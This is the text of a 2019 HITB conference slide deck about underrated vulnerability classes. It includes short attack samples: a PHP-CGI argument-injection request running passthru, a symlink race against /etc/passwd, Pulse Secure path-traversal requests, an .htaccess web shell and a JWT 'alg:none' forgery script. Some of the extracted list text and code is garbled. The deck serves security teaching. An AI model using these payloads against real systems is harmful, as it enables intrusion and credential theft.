Compendium Vulnus Subestimata

HITB GSEC 2019
Eldar Marcussen  
Lead security researcher

Proven history of performing security research that result in 0day vulnerabilities, conference presentation and security tools. I have written a source code scanner and auditing source code is often part of my security research process. My past research and security tools have also featured in industry related cyber security text books.

<table>
<thead>
<tr>
<th>A former</th>
<th>Currently</th>
</tr>
</thead>
<tbody>
<tr>
<td>Developer</td>
<td>Husband and Father</td>
</tr>
<tr>
<td>System administrator</td>
<td>Security researcher</td>
</tr>
<tr>
<td>Penetration tester</td>
<td>Trainer</td>
</tr>
</tbody>
</table>
What's your favorite underrated type of security bug?

Mine: argument injection.
Deserialisation

SSRF

CSRF

XSS

IDOR

Use after free

Type confusion

Access control

NULL byte overflow

Replay attacks

Logical flaws

Subdomain hijack

Cryptography bugs

Directory traversal

Base condition

HTTP smuggling

Uninitialized variables

Digital trust

Information Disclosure

Null pointer dereference

Integer underflow

Resource injection

Unrealized external calls

Heap bypass

Compiler optimization flaws

Buffer underflow

Binary to text conversion

Ready pointer

Useless code
Underrated?

**Underrated**
- underestimate the extent, value, or importance of (someone or something)
- Lack of attacker awareness
- Lack of developer awareness
- Old or forgotten issues

**Misunderstood**
- Root cause not understood
- Impact vector not understood
- Ease of exploitation not understood

**Under represented**
- Not many public examples
- Not many white papers
- Not many tutorials
- Not well documented
10 Underrated bug classes
Argument injection

Injecting a command specific argument that alters the behaviour of the process away from the intended goal to the attackers goal. Exploitation of this issue requires the attacker to be familiar with the command line options available for the command that is being invoked.

Well known example

PHP CGI argument injection

Learn more

1. https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36
3. https://gtfobins.github.io/
Argument injection

POST /?-dallow_url_include%3don+-dauto_prepend_file%3dphp://input HTTP/1.1
Host: example.victim
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

<?php passthru("id"); ?>
A very broad category of bugs that don’t abuse any specific technical functionality. But rather takes advantage of mistakes in the reasoning or assumptions of humans.

Well known example:
- Negative product price manipulation
- Not halting execution

Learn more:
Logic flaws

```php
<?php
if (isAuthenticated() === false) {
    header("Location: /login.php");
}

// Do the admin stuff here
add_user($_POST);
```
A cryptographic weakness that allows attackers to decrypt the plaintext content of an encrypted message without knowing the decryption key. Occurs when the target system leaks data based on whether a padding error occurred during decryption of the ciphertext.

**CWE-649 / CAPEC-463**

**Well known example**

PADBuster – Padding oracle weakness in ASP.Net

**Learn more**

2. https://cryptopals.com/
3. https://blog.skullsecurity.org/2013/a-padding-oracle-example
Padding Oracles

0: 000000000000000003faf089c7a924a7b: false
1: 000000000000000013faf089c7a924a7b: false
2: 000000000000000023faf089c7a924a7b: false
3: 000000000000000033faf089c7a924a7b: false
4: 000000000000000043faf089c7a924a7b: false
...
204: 0000000000000000cc3faf089c7a924a7b: false
205: 0000000000000000cd3faf089c7a924a7b: false
206: 0000000000000000ce3faf089c7a924a7b: true <--
207: 0000000000000000cf3faf089c7a924a7b: false
208: 0000000000000000d03faf089c7a924a7b: false

https://blog.skullsecurity.org/2013/a-padding-oracle-example
Race condition

Taking advantage of concurrency in modern computing systems to cause operations to occur against a resource that has changed state between the operations.

CWE-367 / CWE-362 / more

Well known example

LPE in your favourite OS

Learn more

3. https://defuse.ca/race-conditions-in-web-applications.htm
Race condition

```c
if (access("file", W_OK) != 0) {
    exit(1);
}
fd = open("file", O_WRONLY);
write(fd, buffer, sizeof(buffer));
```

```
$ while true; do \
    ln -sf /etc/passwd file; \ 
done &
[1] 14219
```
The disclosure of information that is valuable for an attacker, which they are not intended to have access to.

**Well known example**
- Heartbleed
- ASLR bypass

**Learn more**
User Meg wants these 500 letters: HAT. Lucas requests the "missed connections" page. Eve (administrator) wants to set server's master key to "14835038534". Isabel wants pages about snakes but not too long". User Karen wants to change account password to "CoKeBaSt"."
Uninitialized variables

CWE-457

Occurs when a variable is declared, but not assigned a value before being used resulting in undefined behaviour. Commonly resulting in a crash. In some cases an attacker can extract data from memory or control the value and alter the flow of execution.

Well known example

- PHP’s registerGlobals
- MS08-014 – Uninitialized stack variable in Excel

Learn more

Uninitialized variables

```c
#include <stdio.h>

int main() {
    b();
    a();
}

void b() {
    char b[100];
    strcat(b, "xen1thLabs!");
}

void a() {
    int a;
    printf("Here is A = \%X\n", a);
}
```

$ gcc -o unin unin.c

$ ./unin

Here is A = 3BF7AFB1
Manipulation of file paths to access locations outside the intended directory by traversing upwards using the parent directory identifier “..”

Well known example
- Mark Dowd’s airdrop bug
- Pulse Secure SSL

Learn more
2. https://www.exploit-db.com/exploits/47297
Directory traversal

GET /dana-na/../../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/lmdb/data.md
b?/dana/htmlacc/guacamole/

GET /dana-na/../../dana/html5acc/guacamole/../../../../../../data/runtime/mtmp/system?/dana/htmlacc/guacamole/

https://twitter.com/buffaloverflow/status/1166269633487429632
Security misconfiguration

CWE-16

Lack of appropriate hardening or configuration options that lower the overall security posture of a system or software.

Well known example

PHP register_globals / allow_url_include
Apache AllowOverride All / DirectoryIndex

Learn more

Security misconfiguration

```
<Directory "/var/www/html"/>
  AllowOverride All
</Directory>

$ cat .htaccess
<Location .htaccess>
  Set-Handler php-script
  Allow from all
</Location>
#<?=passthru($_GET['c']); ?>```
Compiler optimization can remove checks or function calls depending on the compiler optimization settings. This can result in null pointer dereferences, uncleared memory or buffer overflows.

**Well known example**

- CVE-2009-1897
- Memsd

**Learn more**

2. https://lwn.net/Articles/575563/
3. https://www.youtube.com/watch?v=0WzjAKABSDk
bool is_auth(char *username) {
    char password[1024];
    if (GetPasswordFromUser(password, sizeof(password))) {
        if (ValidatePassword(username, password)) {
            memset(password, 0, sizeof(password));
            free(password);
        }
    }
}
Lack of robust authentication checks or a vulnerability making it possible to access restricted functionality without authentication.

**CWE-287**

**Well known example**

- IIS path confusion bypass
- Mysql null **and** x64 auth bypasses
- HP iLO 29x”A” password

**Learn more**

Authentication bypass

```python
import jwt
import base64

def b64urlencode(data):
    return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

print b64urlencode("{"typ":\"JWT\",\"alg\":\"none\"}\") + \
'.' + b64urlencode("{"data":\"test\"}\") + '.'
```
Wishes

1. Learn more bug classes

2. Do more bug chaining

3. Aim for maximum impact
CONCLUSION

- The impact of vulnerabilities is not fixed
- Our definitions have plenty of room for improvement
- Don’t let bug classes become lost
- KEEP LEARNING!
<p>| | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>@joenchern</td>
<td>@Rezk0n</td>
<td>@smI555</td>
</tr>
<tr>
<td>@TecR0c</td>
<td>@pamoshea</td>
<td>@irs dl</td>
</tr>
<tr>
<td>@_bcoles</td>
<td>@malerisch</td>
<td>@mr me</td>
</tr>
<tr>
<td>@vanderaj</td>
<td>@TheColonial</td>
<td>@EMHacktivity</td>
</tr>
<tr>
<td>@0d4rk30</td>
<td>@0x4a47</td>
<td></td>
</tr>
<tr>
<td>@securitymeta_</td>
<td>@Ando_13</td>
<td></td>
</tr>
<tr>
<td>@d4rkt1d3</td>
<td>@justinsteven</td>
<td></td>
</tr>
</tbody>
</table>

... and many more
Thank you!